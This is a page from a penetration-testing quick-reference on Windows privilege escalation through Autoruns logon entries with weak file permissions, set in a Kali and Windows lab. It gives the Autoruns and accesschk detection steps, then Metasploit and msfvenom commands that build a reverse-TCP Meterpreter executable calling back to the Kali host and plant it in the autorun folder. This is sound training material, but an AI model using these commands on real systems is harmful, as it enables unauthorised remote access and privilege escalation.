> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/privilege-escalation/windows-priv-esc/autoruns.md).

# Autoruns

{% embed url="<https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns>" %}

### Detection

1\. Open command prompt and type:

```
C:\Users\User\Desktop\Tools\Autoruns\Autoruns64.exe
```

&#x20;2\. In Autoruns, click on the ‘Logon’ tab.\
3\. From the listed results, notice that the “My Program” entry is pointing to “C:\Program Files\Autorun Program\program.exe”.\
4\. In command prompt type: (**To check acccess of a program)**

```
C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wvu "C:\Program Files\Autorun Program"
```

{% embed url="<https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk>" %}

5\. From the output, notice that the “Everyone” user group has “FILE\_ALL\_ACCESS” permission on the “program.exe” file.

**Powerup may also be detect it.**

<figure><img src="/files/IsjkuZNjhxLUq8s51GVx" alt=""><figcaption></figcaption></figure>

### Exploitation

#### 1. Kali VM

1\. Open command prompt and type: msfconsole\
2\. In Metasploit (msf > prompt) type: use multi/handler\
3\. In Metasploit (msf > prompt) type: set payload windows/meterpreter/reverse\_tcp\
4\. In Metasploit (msf > prompt) type: set lhost \[Kali VM IP Address]\
5\. In Metasploit (msf > prompt) type: run\
6\. Open an additional command prompt and type: msfvenom -p windows/meterpreter/reverse\_tcp lhost=\[Kali VM IP Address] -f exe -o program.exe\
7\. Copy the generated file, program.exe, to the Windows VM.

#### 2. Windows VM

1\. Place program.exe in ‘C:\Program Files\Autorun Program’.\
2\. To simulate the privilege escalation effect, logoff and then log back on as an administrator user.

#### 3. Kali VM

1\. Wait for a new session to open in Metasploit.\
2\. In Metasploit (msf > prompt) type: sessions -i \[Session ID]\
3\. To confirm that the attack succeeded, in Metasploit (msf > prompt) type: getuid